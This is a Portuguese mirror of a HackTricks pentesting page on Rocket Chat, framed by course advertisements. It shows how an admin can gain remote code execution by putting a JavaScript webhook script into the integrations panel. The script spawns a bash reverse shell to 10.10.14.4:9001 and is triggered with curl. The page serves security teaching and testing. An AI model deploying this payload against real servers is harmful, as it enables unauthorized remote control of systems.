mirror of
https://github.com/carlospolop/hacktricks
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70 lines
4 KiB
Markdown
70 lines
4 KiB
Markdown
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# Rocket Chat
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{% hint style="success" %}
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Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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{% endhint %}
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<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
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{% embed url="https://websec.nl/" %}
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## RCE
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Se você for admin dentro do Rocket Chat, pode obter RCE.
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* Vá para **`Integrações`** e selecione **`Nova Integração`** e escolha qualquer uma: **`Incoming WebHook`** ou **`Outgoing WebHook`**.
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* `/admin/integrations/incoming`
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<figure><img src="../../.gitbook/assets/image (266).png" alt=""><figcaption></figcaption></figure>
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* De acordo com a [documentação](https://docs.rocket.chat/guides/administration/admin-panel/integrations), ambas usam ES2015 / ECMAScript 6 ([basicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para processar os dados. Então, vamos obter um [rev shell para javascript](../../generic-methodologies-and-resources/reverse-shells/linux.md#nodejs) como:
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```javascript
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const require = console.log.constructor('return process.mainModule.require')();
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const { exec } = require('child_process');
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exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
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```
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* Configure o WebHook (o canal e a postagem como nome de usuário devem existir):
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<figure><img src="../../.gitbook/assets/image (905).png" alt=""><figcaption></figcaption></figure>
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* Configure o script do WebHook:
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<figure><img src="../../.gitbook/assets/image (572).png" alt=""><figcaption></figcaption></figure>
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* Salve as alterações
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* Obtenha a URL do WebHook gerada:
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<figure><img src="../../.gitbook/assets/image (937).png" alt=""><figcaption></figcaption></figure>
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* Chame-o com curl e você deve receber o rev shell
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<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
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{% embed url="https://websec.nl/" %}
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{% hint style="success" %}
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Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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{% endhint %}
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